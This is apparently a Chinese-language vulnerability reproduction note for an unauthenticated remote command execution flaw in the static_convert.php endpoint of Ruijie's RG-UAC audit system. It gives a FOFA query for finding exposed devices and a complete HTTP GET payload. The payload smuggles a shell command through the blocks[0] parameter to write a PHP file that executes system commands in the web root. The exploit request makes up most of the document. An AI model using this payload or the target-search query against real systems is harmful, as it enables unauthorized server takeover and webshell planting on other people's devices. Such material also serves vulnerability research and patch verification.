R20-1锐捷-统一上网行为管理与审计系统-RCE

漏洞描述：

锐捷统一上网行为管理与审计系统 static_convert.php 接口存在远程命令执行漏洞，未经身份验证的远程攻击者可以利用此漏洞执行任意指令或写入webshell，导致服务器权限被控，造成严重威胁。

网站图片：

fofa语法：

title="RG-UAC登录页面"

漏洞复现：

payload：

```
GET /view/IPV6/naborTable/static_convert.php?blocks[0]=|echo%20%27<?php%20system("id");unlink(__FILE__);?>%27%20>/var/www/html/rce.php HTTP/1.1
Host: your-ip
Accept: application/json, text/javascript, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

效果图：

验证 效果图：